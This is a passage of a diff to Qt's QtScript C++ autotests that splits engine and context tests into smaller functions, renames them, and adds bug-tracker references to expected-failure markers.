// Used to work with old back-end, doesn't with new one because JSC requires that the last object in
// a scope chain is the Global Object.
QTest::ignoreMessage(QtWarningMsg, "QScriptContext::pushScope() failed: initial object in scope chain has to be the Global Object");
- ctx->pushScope(obj);
+ ctx->pushScope(eng.newObject());
QCOMPARE(ctx->scopeChain().size(), 0);
QScriptEngine eng2;
@@ -1043,7 +1207,7 @@ static QScriptValue get_activationObject(QScriptContext *ctx, QScriptEngine *)
return ctx->activationObject();
}
-void tst_QScriptContext::getSetActivationObject()
+void tst_QScriptContext::getSetActivationObject_globalContext()
{
QScriptEngine eng;
QScriptContext *ctx = eng.currentContext();
@@ -1076,7 +1240,7 @@ void tst_QScriptContext::getSetActivationObject()
QScriptValue ret = eng.evaluate("get_activationObject(1, 2, 3)");
QVERIFY(ret.isObject());
QScriptValue arguments = ret.property("arguments");
- QEXPECT_FAIL("", "Getting arguments property of activation object doesn't work", Abort);
+ QEXPECT_FAIL("", "QTBUG-17136: arguments property of activation object is missing", Abort);
QVERIFY(arguments.isObject());
QCOMPARE(arguments.property("length").toInt32(), 3);
QCOMPARE(arguments.property("0").toInt32(), 1);
@@ -1099,6 +1263,8 @@ void tst_QScriptContext::getSetActivationObject_customContext()
QCOMPARE(act.property("foo").toInt32(), 123);
}
+// Helper function that's intended to have the same behavior
+// as the built-in eval() function.
static QScriptValue myEval(QScriptContext *ctx, QScriptEngine *eng)
{
QString code = ctx->argument(0).toString();
@@ -1127,13 +1293,14 @@ void tst_QScriptContext::inheritActivationAndThisObject()
QCOMPARE(ret.toInt32(), 123);
}
- // QT-2219
{
eng.globalObject().setProperty("a", 123);
QScriptValue ret = eng.evaluate("(function() { myEval('var a = 456'); return a; })()");
QVERIFY(ret.isNumber());
QCOMPARE(ret.toInt32(), 456);
- QEXPECT_FAIL("", "QT-2219: Wrong activation object is returned from native function's parent context", Continue);
+ // Since JSC doesn't create an activation object for the anonymous function call,
+ // myEval() will use the global object as the activation, which is wrong.
+ QEXPECT_FAIL("", "QTBUG-10313: Wrong activation object is returned from native function's parent context", Continue);
QVERIFY(eng.globalObject().property("a").strictlyEquals(123));
}
}
@@ -1172,11 +1339,11 @@ static QScriptValue storeCalledAsConstructorV3(QScriptContext *ctx, QScriptEngin
return eng->undefinedValue();
}
-void tst_QScriptContext::calledAsConstructor()
+void tst_QScriptContext::calledAsConstructor_fromCpp()
{
QScriptEngine eng;
- QScriptValue fun1 = eng.newFunction(storeCalledAsConstructor);
{
+ QScriptValue fun1 = eng.newFunction(storeCalledAsConstructor);
fun1.call();
QVERIFY(!fun1.property("calledAsConstructor").toBool());
fun1.construct();
@@ -1189,25 +1356,31 @@ void tst_QScriptContext::calledAsConstructor()
fun.construct();
QVERIFY(fun.property("calledAsConstructor").toBool());
}
- {
- eng.globalObject().setProperty("fun1", fun1);
- eng.evaluate("fun1();");
- QVERIFY(!fun1.property("calledAsConstructor").toBool());
- eng.evaluate("new fun1();");
- QVERIFY(fun1.property("calledAsConstructor").toBool());
- }
- {
- QScriptValue fun3 = eng.newFunction(storeCalledAsConstructorV3);
- eng.globalObject().setProperty("fun3", fun3);
- eng.evaluate("function test() { fun3() }");
- eng.evaluate("test();");
- QVERIFY(!fun3.property("calledAsConstructor").toBool());
- eng.evaluate("new test();");
- if (qt_script_isJITEnabled())
- QEXPECT_FAIL("", "QTBUG-6132: calledAsConstructor is not correctly set for JS functions when JIT is enabled", Continue);
- QVERIFY(fun3.property("calledAsConstructor").toBool());
- }
+}
+
+void tst_QScriptContext::calledAsConstructor_fromJS()
+{
+ QScriptEngine eng;
+ QScriptValue fun1 = eng.newFunction(storeCalledAsConstructor);
+ eng.globalObject().setProperty("fun1", fun1);
+ eng.evaluate("fun1();");
+ QVERIFY(!fun1.property("calledAsConstructor").toBool());
+ eng.evaluate("new fun1();");
+ QVERIFY(fun1.property("calledAsConstructor").toBool());
+}
+void tst_QScriptContext::calledAsConstructor_parentContext()
+{
+ QScriptEngine eng;
+ QScriptValue fun3 = eng.newFunction(storeCalledAsConstructorV3);
+ eng.globalObject().setProperty("fun3", fun3);
+ eng.evaluate("function test() { fun3() }");
+ eng.evaluate("test();");
+ QVERIFY(!fun3.property("calledAsConstructor").toBool());
+ eng.evaluate("new test();");
+ if (qt_script_isJITEnabled())
+ QEXPECT_FAIL("", "QTBUG-6132: calledAsConstructor is not correctly set for JS functions when JIT is enabled", Continue);
+ QVERIFY(fun3.property("calledAsConstructor").toBool());
}
static QScriptValue argumentsObjectInNative_test1(QScriptContext *ctx, QScriptEngine *eng)
@@ -1269,7 +1442,7 @@ void tst_QScriptContext::jsActivationObject()
QScriptValue result1 = eng.evaluate("f2('hello', 'useless', 'world')");
QScriptValue result2 = eng.evaluate("f3()");
QVERIFY(result1.isObject());
- QEXPECT_FAIL("", "JSC optimize away the activation object", Abort);
+ QEXPECT_FAIL("", "QTBUG-10313: JSC optimizes away the activation object", Abort);
QCOMPARE(result1.property("v1").toInt32() , 42);
QCOMPARE(result1.property("arguments").property(1).toString() , QString::fromLatin1("useless"));
QVERIFY(result2.isObject());
diff --git a/tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp b/tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp
index aba16b2..62f899c 100644
--- a/tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp
+++ b/tests/auto/qscriptcontextinfo/tst_qscriptcontextinfo.cpp
@@ -93,6 +93,7 @@ private slots:
void qtPropertyFunction();
void nullContext();
void streaming();
+ void comparison_null();
void assignmentAndComparison();
};
@@ -150,7 +151,7 @@ void tst_QScriptContextInfo::nativeFunction()
QVERIFY(info.scriptId() != -1);
QCOMPARE(info.fileName(), fileName);
QCOMPARE(info.lineNumber(), lineNumber);
- QEXPECT_FAIL("", "columnNumber doesn't work", Continue);
+ QEXPECT_FAIL("", "QTBUG-17602: columnNumber doesn't work", Continue);
QCOMPARE(info.columnNumber(), 1);
QCOMPARE(info.functionName(), QString());
QCOMPARE(info.functionEndLineNumber(), -1);
@@ -182,7 +183,7 @@ void tst_QScriptContextInfo::scriptFunction()
QVERIFY(info.scriptId() != -1);
QCOMPARE(info.fileName(), fileName);
QCOMPARE(info.lineNumber(), lineNumber + 1);
- QEXPECT_FAIL("", "columnNumber doesn't work", Continue);
+ QEXPECT_FAIL("", "QTBUG-17602: columnNumber doesn't work", Continue);
QCOMPARE(info.columnNumber(), 2);
QCOMPARE(info.functionName(), QString::fromLatin1("bar"));
QCOMPARE(info.functionStartLineNumber(), lineNumber);
@@ -201,7 +202,7 @@ void tst_QScriptContextInfo::scriptFunction()
QVERIFY(info.scriptId() != -1);
QCOMPARE(info.fileName(), fileName);
QCOMPARE(info.lineNumber(), lineNumber + 3);
- QEXPECT_FAIL("", "columnNumber doesn't work", Continue);
+ QEXPECT_FAIL("", "QTBUG-17602: columnNumber doesn't work", Continue);
QCOMPARE(info.columnNumber(), 1);
QCOMPARE(info.functionName(), QString());
QCOMPARE(info.functionEndLineNumber(), -1);
@@ -366,6 +367,13 @@ void tst_QScriptContextInfo::streaming()
}
}
+void tst_QScriptContextInfo::comparison_null()
+{
+ QScriptContextInfo info1, info2, info3(0);
+ QCOMPARE(info1, info2);
+ QCOMPARE(info1, info3);
+}
+
void tst_QScriptContextInfo::assignmentAndComparison()
{
QScriptEngine eng;
diff --git a/tests/auto/qscriptengine/tst_qscriptengine.cpp b/tests/auto/qscriptengine/tst_qscriptengine.cpp
index c4c53e9..2d7feee 100644
--- a/tests/auto/qscriptengine/tst_qscriptengine.cpp
+++ b/tests/auto/qscriptengine/tst_qscriptengine.cpp
@@ -93,7 +93,8 @@ private slots:
void constructWithParent();
void currentContext();
void pushPopContext();
- void getSetDefaultPrototype();
+ void getSetDefaultPrototype_int();
+ void getSetDefaultPrototype_customType();
void newFunction();
void newFunctionWithArg();
void newFunctionWithProto();
@@ -109,7 +110,9 @@ private slots:
void newVariant_promoteNonObject();
void newVariant_promoteNonQScriptObject();
void newRegExp();
+ void jsRegExp();
void newDate();
+ void jsParseDate();
void newQObject();
void newQObject_ownership();
void newQObject_promoteObject();
@@ -121,6 +124,7 @@ private slots:
void newActivationObject();
void getSetGlobalObject();
void globalObjectProperties();
+ void globalObjectProperties_enumerate();
void createGlobalObjectProperty();
void globalObjectGetterSetterProperty();
void customGlobalObjectWithPrototype();
@@ -136,7 +140,14 @@ private slots:
void nestedEvaluate();
void uncaughtException();
void errorMessage_QT679();
- void valueConversion();
+ void valueConversion_basic();
+ void valueConversion_customType();
+ void valueConversion_sequence();
+ void valueConversion_QVariant();
+ void valueConversion_hooliganTask248802();
+ void valueConversion_basic2();
+ void valueConversion_dateTime();
+ void valueConversion_regExp();
void qScriptValueFromValue_noEngine();
void importExtension();
void infiniteRecursion();
@@ -152,32 +163,51 @@ private slots:
void numberParsing_data();
void numberParsing();
void automaticSemicolonInsertion();
+ void abortEvaluation_notEvaluating();
void abortEvaluation();
+ void abortEvaluation_tryCatch();
+ void abortEvaluation_fromNative();
void abortEvaluation_QTBUG9433();
- void isEvaluating();
+ void isEvaluating_notEvaluating();
+ void isEvaluating_fromNative();
+ void isEvaluating_fromEvent();
void printFunctionWithCustomHandler();
void printThrowsException();
void errorConstructors();
- void argumentsProperty();
- void numberClass();
- void forInStatement();
- void functionExpression();
+ void argumentsProperty_globalContext();
+ void argumentsProperty_JS();
+ void argumentsProperty_evaluateInNativeFunction();
+ void jsNumberClass();
+ void jsForInStatement_simple();
+ void jsForInStatement_prototypeProperties();
+ void jsForInStatement_mutateWhileIterating();
+ void jsForInStatement_arrays();
+ void jsForInStatement_nullAndUndefined();
+ void jsFunctionDeclarationAsStatement();
void stringObjects();
+ void jsStringPrototypeReplaceBugs();
void getterSetterThisObject_global();
void getterSetterThisObject_plain();
void getterSetterThisObject_prototypeChain();
void getterSetterThisObject_activation();
- void continueInSwitch();
- void readOnlyPrototypeProperty();
+ void jsContinueInSwitch();
+ void jsShadowReadOnlyPrototypeProperty();
void toObject();
- void reservedWords_data();
- void reservedWords();
- void futureReservedWords_data();
- void futureReservedWords();
- void throwInsideWithStatement();
- void getSetAgent();
- void reentrancy();
- void incDecNonObjectProperty();
+ void jsReservedWords_data();
+ void jsReservedWords();
+ void jsFutureReservedWords_data();
+ void jsFutureReservedWords();
+ void jsThrowInsideWithStatement();
+ void getSetAgent_ownership();
+ void getSetAgent_deleteAgent();
+ void getSetAgent_differentEngine();
+ void reentrancy_stringHandles();
+ void reentrancy_processEventsInterval();
+ void reentrancy_typeConversion();
+ void reentrancy_globalObjectProperties();
+ void reentrancy_Array();
+ void reentrancy_objectCreation();
+ void jsIncDecNonObjectProperty();
void installTranslatorFunctions_data();
void installTranslatorFunctions();
void translateScript_data();
@@ -195,6 +225,7 @@ private slots:
void translateScriptUnicode();
void translateScriptUnicodeIdBased_data();
void translateScriptUnicodeIdBased();
+ void translateFromBuiltinCallback();
void functionScopes();
void nativeFunctionScopes();
void evaluateProgram();
@@ -314,8 +345,8 @@ void tst_QScriptEngine::newFunction()
QScriptValue prot = fun.property("prototype", QScriptValue::ResolveLocal);
QVERIFY(prot.isObject());
QVERIFY(prot.property("constructor").strictlyEquals(fun));
- QCOMPARE(fun.propertyFlags("prototype"), QScriptValue::Undeletable);
- QCOMPARE(prot.propertyFlags("constructor"), QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ QCOMPARE(fun.propertyFlags("prototype"), QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ QCOMPARE(prot.propertyFlags("constructor"), QScriptValue::SkipInEnumeration);
}
// prototype should be Function.prototype
QCOMPARE(fun.prototype().isValid(), true);
@@ -339,8 +370,8 @@ void tst_QScriptEngine::newFunctionWithArg()
QScriptValue prot = fun.property("prototype", QScriptValue::ResolveLocal);
QVERIFY(prot.isObject());
QVERIFY(prot.property("constructor").strictlyEquals(fun));
- QCOMPARE(fun.propertyFlags("prototype"), QScriptValue::Undeletable);
- QCOMPARE(prot.propertyFlags("constructor"), QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ QCOMPARE(fun.propertyFlags("prototype"), QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ QCOMPARE(prot.propertyFlags("constructor"), QScriptValue::SkipInEnumeration);
}
// prototype should be Function.prototype
QCOMPARE(fun.prototype().isValid(), true);
@@ -367,10 +398,9 @@ void tst_QScriptEngine::newFunctionWithProto()
QCOMPARE(fun.prototype().strictlyEquals(eng.evaluate("Function.prototype")), true);
// public prototype should be the one we passed
QCOMPARE(fun.property("prototype").strictlyEquals(proto), true);
- QCOMPARE(fun.propertyFlags("prototype"), QScriptValue::Undeletable);
+ QCOMPARE(fun.propertyFlags("prototype"), QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
QCOMPARE(proto.property("constructor").strictlyEquals(fun), true);
- QCOMPARE(proto.propertyFlags("constructor"),
- QScriptValue::Undeletable | QScriptValue::SkipInEnumeration);
+ QCOMPARE(proto.propertyFlags("constructor"), QScriptValue::SkipInEnumeration);
QCOMPARE(fun.call().isNull(), true);
QCOMPARE(fun.construct().isObject(), true);
@@ -440,10 +470,10 @@ void tst_QScriptEngine::newArray_HooliganTask233836()
{
QScriptEngine eng;
{
+ // According to ECMA-262, this should cause a RangeError.
QScriptValue ret = eng.evaluate("a = new Array(4294967295); a.push('foo')");
- QVERIFY(ret.isNumber());
- QCOMPARE(ret.toInt32(), 0);
- QCOMPARE(eng.evaluate("a[4294967295]").toString(), QString::fromLatin1("foo"));
+ QEXPECT_FAIL("", "ECMA compliance bug in Array.prototype.push: https://bugs.webkit.org/show_bug.cgi?id=55033", Continue);
+ QVERIFY(ret.isError() && ret.toString().contains(QLatin1String("RangeError")));
}
{
QScriptValue ret = eng.newArray(0xFFFFFFFF);
@@ -609,54 +639,66 @@ void tst_QScriptEngine::newRegExp()
QCOMPARE(rexp.toRegExp().pattern(), QRegExp("foo").pattern());
}
- {
- QScriptValue r = eng.evaluate("/foo/gim");
- QVERIFY(r.isRegExp());
- QCOMPARE(r.toString(), QString::fromLatin1("/foo/gim"));
+}
- QScriptValue rxCtor = eng.globalObject().property("RegExp");
- QScriptValue r2 = rxCtor.call(QScriptValue(), QScriptValueList() << r);
- QVERIFY(r2.isRegExp());
- QVERIFY(r2.strictlyEquals(r));
+void tst_QScriptEngine::jsRegExp()
+{
+ // See ECMA-262 Section 15.10, "RegExp Objects".
+ // These should really be JS-only tests, as they test the implementation's
+ // ECMA-compliance, not the C++ API. Compliance should already be covered
+ // by the Mozilla tests (qscriptjstestsuite).
+ // We can consider updating the expected results of this test if the
+ // RegExp implementation changes.
+
+ QScriptEngine eng;
+ QScriptValue r = eng.evaluate("/foo/gim");
+ QVERIFY(r.isRegExp());
+ QCOMPARE(r.toString(), QString::fromLatin1("/foo/gim"));
- QScriptValue r3 = rxCtor.call(QScriptValue(), QScriptValueList() << r << "gim");
- QVERIFY(r3.isError());
- QCOMPARE(r3.toString(), QString::fromLatin1("TypeError: Cannot supply flags when constructing one RegExp from another."));
+ QScriptValue rxCtor = eng.globalObject().property("RegExp");
+ QScriptValue r2 = rxCtor.call(QScriptValue(), QScriptValueList() << r);
+ QVERIFY(r2.isRegExp());
+ QVERIFY(r2.strictlyEquals(r));
- QScriptValue r4 = rxCtor.call(QScriptValue(), QScriptValueList() << "foo" << "gim");
- QVERIFY(r4.isRegExp());
+ QScriptValue r3 = rxCtor.call(QScriptValue(), QScriptValueList() << r << "gim");
+ QVERIFY(r3.isError());
+ QVERIFY(r3.toString().contains(QString::fromLatin1("TypeError"))); // Cannot supply flags when constructing one RegExp from another
- QScriptValue r5 = rxCtor.construct(QScriptValueList() << r);
- QVERIFY(r5.isRegExp());
- QCOMPARE(r5.toString(), QString::fromLatin1("/foo/gim"));
- // In JSC, constructing a RegExp from another produces the same identical object.
- // This is different from SpiderMonkey and old back-end.
- QVERIFY(r5.strictlyEquals(r));
+ QScriptValue r4 = rxCtor.call(QScriptValue(), QScriptValueList() << "foo" << "gim");
+ QVERIFY(r4.isRegExp());
- QScriptValue r6 = rxCtor.construct(QScriptValueList() << "foo" << "bar");
- QVERIFY(r6.isError());
- QCOMPARE(r6.toString(), QString::fromLatin1("SyntaxError: Invalid regular expression: invalid regular expression flag"));
+ QScriptValue r5 = rxCtor.construct(QScriptValueList() << r);
+ QVERIFY(r5.isRegExp());
+ QCOMPARE(r5.toString(), QString::fromLatin1("/foo/gim"));
+ // In JSC, constructing a RegExp from another produces the same identical object.
+ // This is different from SpiderMonkey and old back-end.
+ QEXPECT_FAIL("", "RegExp copy-constructor should return a new object: https://bugs.webkit.org/show_bug.cgi?id=55040", Continue);
+ QVERIFY(!r5.strictlyEquals(r));
- QScriptValue r7 = eng.evaluate("/foo/gimp");
- QVERIFY(r7.isError());
- QCOMPARE(r7.toString(), QString::fromLatin1("SyntaxError: Invalid regular expression: invalid regular expression flag"));
+ QScriptValue r6 = rxCtor.construct(QScriptValueList() << "foo" << "bar");
+ QVERIFY(r6.isError());
+ QVERIFY(r6.toString().contains(QString::fromLatin1("SyntaxError"))); // Invalid regular expression flag
- QScriptValue r8 = eng.evaluate("/foo/migmigmig");
- QVERIFY(r8.isRegExp());
- QCOMPARE(r8.toString(), QString::fromLatin1("/foo/gim"));
+ QScriptValue r7 = eng.evaluate("/foo/gimp");
+ QVERIFY(r7.isError());
+ QVERIFY(r7.toString().contains(QString::fromLatin1("SyntaxError"))); // Invalid regular expression flag
- QScriptValue r9 = rxCtor.construct();
- QVERIFY(r9.isRegExp());
- QCOMPARE(r9.toString(), QString::fromLatin1("/(?:)/"));
+ // JSC doesn't complain about duplicate flags.
+ QScriptValue r8 = eng.evaluate("/foo/migmigmig");
+ QVERIFY(r8.isRegExp());
+ QCOMPARE(r8.toString(), QString::fromLatin1("/foo/gim"));
- QScriptValue r10 = rxCtor.construct(QScriptValueList() << "" << "gim");
- QVERIFY(r10.isRegExp());
- QCOMPARE(r10.toString(), QString::fromLatin1("/(?:)/gim"));
+ QScriptValue r9 = rxCtor.construct();
+ QVERIFY(r9.isRegExp());
+ QCOMPARE(r9.toString(), QString::fromLatin1("/(?:)/"));
- QScriptValue r11 = rxCtor.construct(QScriptValueList() << "{1.*}" << "g");
- QVERIFY(r11.isRegExp());
- QCOMPARE(r11.toString(), QString::fromLatin1("/{1.*}/g"));
- }
+ QScriptValue r10 = rxCtor.construct(QScriptValueList() << "" << "gim");
+ QVERIFY(r10.isRegExp());
+ QCOMPARE(r10.toString(), QString::fromLatin1("/(?:)/gim"));
+
+ QScriptValue r11 = rxCtor.construct(QScriptValueList() << "{1.*}" << "g");
+ QVERIFY(r11.isRegExp());
+ QCOMPARE(r11.toString(), QString::fromLatin1("/{1.*}/g"));
}
void tst_QScriptEngine::newDate()
@@ -695,7 +737,11 @@ void tst_QScriptEngine::newDate()
// toDateTime() result should be in local time
QCOMPARE(date.toDateTime(), dt.toLocalTime());
}
+}
+void tst_QScriptEngine::jsParseDate()
+{
+ QScriptEngine eng;
// Date.parse() should return NaN when it fails
{
QScriptValue ret = eng.evaluate("Date.parse()");
@@ -1196,6 +1242,8 @@ static QScriptValue getSetFoo(QScriptContext *ctx, QScriptEngine *)
void tst_QScriptEngine::globalObjectProperties()
{
+ // See ECMA-262 Section 15.1, "The Global Object".
+
QScriptEngine eng;
QScriptValue global = eng.globalObject();
@@ -1269,10 +1317,15 @@ void tst_QScriptEngine::globalObjectProperties()
QCOMPARE(global.propertyFlags("URIError"), QScriptValue::SkipInEnumeration);
QVERIFY(global.property("Math").isObject());
QVERIFY(!global.property("Math").isFunction());
- QEXPECT_FAIL("", "[ECMA compliance] JSC sets DontDelete flag for Math object", Continue);
+ QEXPECT_FAIL("", "[ECMA compliance] JSC sets DontDelete flag for Math object: https://bugs.webkit.org/show_bug.cgi?id=55034", Continue);
QCOMPARE(global.propertyFlags("Math"), QScriptValue::SkipInEnumeration);
+}
+
+void tst_QScriptEngine::globalObjectProperties_enumerate()
+{
+ QScriptEngine eng;
+ QScriptValue global = eng.globalObject();
- // enumeration
QSet<QString> expectedNames;
expectedNames
<< "isNaN"
@@ -1500,7 +1553,7 @@ void tst_QScriptEngine::globalObjectWithCustomPrototype()
{
QScriptValue ret = engine.evaluate("this.__proto__ = { 'a': 123 }; a");
QVERIFY(ret.isNumber());
- QEXPECT_FAIL("", "QTBUG-9737", Continue);
+ QEXPECT_FAIL("", "QTBUG-9737: Prototype change in JS not reflected on C++ side", Continue);
QVERIFY(ret.strictlyEquals(global.property("a")));
}
}
@@ -1510,7 +1563,9 @@ void tst_QScriptEngine::builtinFunctionNames_data()
QTest::addColumn<QString>("expression");
QTest::addColumn<QString>("expectedName");
- QTest::newRow("print") << QString("print") << QString("print");
+ // See ECMA-262 Chapter 15, "Standard Built-in ECMAScript Objects".
+
+ QTest::newRow("print") << QString("print") << QString("print"); // QtScript extension.
QTest::newRow("parseInt") << QString("parseInt") << QString("parseInt");
QTest::newRow("parseFloat") << QString("parseFloat") << QString("parseFloat");
QTest::newRow("isNaN") << QString("isNaN") << QString("isNaN");
@@ -1521,8 +1576,8 @@ void tst_QScriptEngine::builtinFunctionNames_data()
QTest::newRow("encodeURIComponent") << QString("encodeURIComponent") << QString("encodeURIComponent");
QTest::newRow("escape") << QString("escape") << QString("escape");
QTest::newRow("unescape") << QString("unescape") << QString("unescape");
- QTest::newRow("version") << QString("version") << QString("version");
- QTest::newRow("gc") << QString("gc") << QString("gc");
+ QTest::newRow("version") << QString("version") << QString("version"); // QtScript extension.
+ QTest::newRow("gc") << QString("gc") << QString("gc"); // QtScript extension.
QTest::newRow("Array") << QString("Array") << QString("Array");
QTest::newRow("Array.prototype.toString") << QString("Array.prototype.toString") << QString("toString");
@@ -1673,6 +1728,7 @@ void tst_QScriptEngine::builtinFunctionNames()
QFETCH(QString, expression);
QFETCH(QString, expectedName);
QScriptEngine eng;
+ // The "name" property is actually non-standard, but JSC supports it.
QScriptValue ret = eng.evaluate(QString::fromLatin1("%0.name").arg(expression));
QVERIFY(ret.isString());
QCOMPARE(ret.toString(), expectedName);
@@ -1894,22 +1950,24 @@ static QScriptValue eval_nested(QScriptContext *ctx, QScriptEngine *eng)
return result;
}
+// Tests that nested evaluate uses the "this" that was passed.
void tst_QScriptEngine::nestedEvaluate()
{
QScriptEngine eng;
QScriptValue fun = eng.newFunction(eval_nested);
eng.globalObject().setProperty("fun", fun);
+ // From JS function call
{
QScriptValue result = eng.evaluate("o = { id:'foo'}; o.fun = fun; o.fun()");
QCOMPARE(result.property("local_bar").toString(), QString("local"));
QCOMPARE(result.property("thisObjectIdBefore").toString(), QString("foo"));
QCOMPARE(result.property("thisObjectIdAfter").toString(), QString("foo"));
QCOMPARE(result.property("evaluatedThisObjectId").toString(), QString("foo"));
- QScriptValue bar = eng.evaluate("bar");
+ QScriptValue bar = eng.evaluate("bar"); // Was introduced in local scope.
QVERIFY(bar.isError());
- QCOMPARE(bar.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bar"));
+ QVERIFY(bar.toString().contains(QString::fromLatin1("ReferenceError")));
}
-
+ // From QScriptValue::call()
{
QScriptValue result = fun.call(eng.evaluate("p = { id:'foo' }") , QScriptValueList() );
QCOMPARE(result.property("local_bar").toString(), QString("local"));
@@ -1918,7 +1976,7 @@ void tst_QScriptEngine::nestedEvaluate()
QCOMPARE(result.property("evaluatedThisObjectId").toString(), QString("foo"));
QScriptValue bar = eng.evaluate("bar");
QVERIFY(bar.isError());
- QCOMPARE(bar.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bar"));
+ QVERIFY(bar.toString().contains(QString::fromLatin1("ReferenceError")));
}
}
@@ -1985,6 +2043,7 @@ void tst_QScriptEngine::errorMessage_QT679()
engine.globalObject().setProperty("foo", 15);
QScriptValue error = engine.evaluate("'hello world';\nfoo.bar.blah");
QVERIFY(error.isError());
+ // The exact message is back-end specific and subject to change.
QCOMPARE(error.toString(), QString::fromLatin1("TypeError: Result of expression 'foo.bar' [undefined] is not an object."));
}
@@ -1997,37 +2056,40 @@ public:
Q_DECLARE_METATYPE(Foo)
Q_DECLARE_METATYPE(Foo*)
-void tst_QScriptEngine::getSetDefaultPrototype()
+void tst_QScriptEngine::getSetDefaultPrototype_int()
{
QScriptEngine eng;
- {
- QScriptValue object = eng.newObject();
- QCOMPARE(eng.defaultPrototype(qMetaTypeId<int>()).isValid(), false);
- eng.setDefaultPrototype(qMetaTypeId<int>(), object);
- QCOMPARE(eng.defaultPrototype(qMetaTypeId<int>()).strictlyEquals(object), true);
- QScriptValue value = eng.newVariant(int(123));
- QCOMPARE(value.prototype().isObject(), true);
- QCOMPARE(value.prototype().strictlyEquals(object), true);
- eng.setDefaultPrototype(qMetaTypeId<int>(), QScriptValue());
- QCOMPARE(eng.defaultPrototype(qMetaTypeId<int>()).isValid(), false);
- QScriptValue value2 = eng.newVariant(int(123));
- QCOMPARE(value2.prototype().strictlyEquals(object), false);
- }
- {
- QScriptValue object = eng.newObject();
- QCOMPARE(eng.defaultPrototype(qMetaTypeId<Foo>()).isValid(), false);
- eng.setDefaultPrototype(qMetaTypeId<Foo>(), object);
- QCOMPARE(eng.defaultPrototype(qMetaTypeId<Foo>()).strictlyEquals(object), true);
- QScriptValue value = eng.newVariant(qVariantFromValue(Foo()));
- QCOMPARE(value.prototype().isObject(), true);
- QCOMPARE(value.prototype().strictlyEquals(object), true);
+ QScriptValue object = eng.newObject();
+ QCOMPARE(eng.defaultPrototype(qMetaTypeId<int>()).isValid(), false);
+ eng.setDefaultPrototype(qMetaTypeId<int>(), object);
+ QCOMPARE(eng.defaultPrototype(qMetaTypeId<int>()).strictlyEquals(object), true);
+ QScriptValue value = eng.newVariant(int(123));
+ QCOMPARE(value.prototype().isObject(), true);
+ QCOMPARE(value.prototype().strictlyEquals(object), true);
- eng.setDefaultPrototype(qMetaTypeId<Foo>(), QScriptValue());
- QCOMPARE(eng.defaultPrototype(qMetaTypeId<Foo>()).isValid(), false);
- QScriptValue value2 = eng.newVariant(qVariantFromValue(Foo()));
- QCOMPARE(value2.prototype().strictlyEquals(object), false);
- }
+ eng.setDefaultPrototype(qMetaTypeId<int>(), QScriptValue());
+ QCOMPARE(eng.defaultPrototype(qMetaTypeId<int>()).isValid(), false);
+ QScriptValue value2 = eng.newVariant(int(123));
+ QCOMPARE(value2.prototype().strictlyEquals(object), false);
+}
+
+void tst_QScriptEngine::getSetDefaultPrototype_customType()
+{
+ QScriptEngine eng;
+
+ QScriptValue object = eng.newObject();
+ QCOMPARE(eng.defaultPrototype(qMetaTypeId<Foo>()).isValid(), false);
+ eng.setDefaultPrototype(qMetaTypeId<Foo>(), object);
+ QCOMPARE(eng.defaultPrototype(qMetaTypeId<Foo>()).strictlyEquals(object), true);
+ QScriptValue value = eng.newVariant(qVariantFromValue(Foo()));
+ QCOMPARE(value.prototype().isObject(), true);
+ QCOMPARE(value.prototype().strictlyEquals(object), true);
+
+ eng.setDefaultPrototype(qMetaTypeId<Foo>(), QScriptValue());
+ QCOMPARE(eng.defaultPrototype(qMetaTypeId<Foo>()).isValid(), false);
+ QScriptValue value2 = eng.newVariant(qVariantFromValue(Foo()));
+ QCOMPARE(value2.prototype().strictlyEquals(object), false);
}
static QScriptValue fooToScriptValue(QScriptEngine *eng, const Foo &foo)
@@ -2061,7 +2123,7 @@ Q_DECLARE_METATYPE(QStack<int>)
Q_DECLARE_METATYPE(QQueue<char>)
Q_DECLARE_METATYPE(QLinkedList<QStack<int> >)
-void tst_QScriptEngine::valueConversion()
+void tst_QScriptEngine::valueConversion_basic()
{
QScriptEngine eng;
{
@@ -2123,7 +2185,11 @@ void tst_QScriptEngine::valueConversion()
QCOMPARE(qScriptValueToValue<QChar>(code), c);
QCOMPARE(qScriptValueToValue<QChar>(qScriptValueFromValue(&eng, c)), c);
}
+}
+void tst_QScriptEngine::valueConversion_customType()
+{
+ QScriptEngine eng;
{
// a type that we don't have built-in conversion of
// (it's stored as a variant)
@@ -2169,7 +2235,11 @@ void tst_QScriptEngine::valueConversion()
QVERIFY(fooVal2.property("x").strictlyEquals(QScriptValue(&eng, 56)));
QVERIFY(fooVal2.property("y").strictlyEquals(QScriptValue(&eng, 78)));
}
+}
+void tst_QScriptEngine::valueConversion_sequence()
+{
+ QScriptEngine eng;
qScriptRegisterSequenceMetaType<QLinkedList<QString> >(&eng);
{
@@ -2248,7 +2318,11 @@ void tst_QScriptEngine::valueConversion()
QCOMPARE(qscriptvalue_cast<QObjectList>(val), lst);
}
+}
+void tst_QScriptEngine::valueConversion_QVariant()
+{
+ QScriptEngine eng;
// qScriptValueFromValue() should be "smart" when the argument is a QVariant
{
QScriptValue val = qScriptValueFromValue(&eng, QVariant());
@@ -2325,7 +2399,12 @@ void tst_QScriptEngine::valueConversion()
QCOMPARE(val.toVariant(), var);
}
- // task 248802
+ QCOMPARE(qscriptvalue_cast<QVariant>(QScriptValue(123)), QVariant(123));
+}
+
+void tst_QScriptEngine::valueConversion_hooliganTask248802()
+{
+ QScriptEngine eng;
qScriptRegisterMetaType<Foo>(&eng, fooToScriptValueV2, fooFromScriptValueV2);
{
QScriptValue num(&eng, 123);
@@ -2343,6 +2422,11 @@ void tst_QScriptEngine::valueConversion()
QCOMPARE(foo.x, 123);
}
+}
+
+void tst_QScriptEngine::valueConversion_basic2()
+{
+ QScriptEngine eng;
// more built-in types
{
QScriptValue val = qScriptValueFromValue(&eng, uint(123));
@@ -2379,6 +2463,11 @@ void tst_QScriptEngine::valueConversion()
QVERIFY(val.isNumber());
QCOMPARE(val.toInt32(), 123);
}
+}
+
+void tst_QScriptEngine::valueConversion_dateTime()
+{
+ QScriptEngine eng;
{
QDateTime in = QDateTime::currentDateTime();
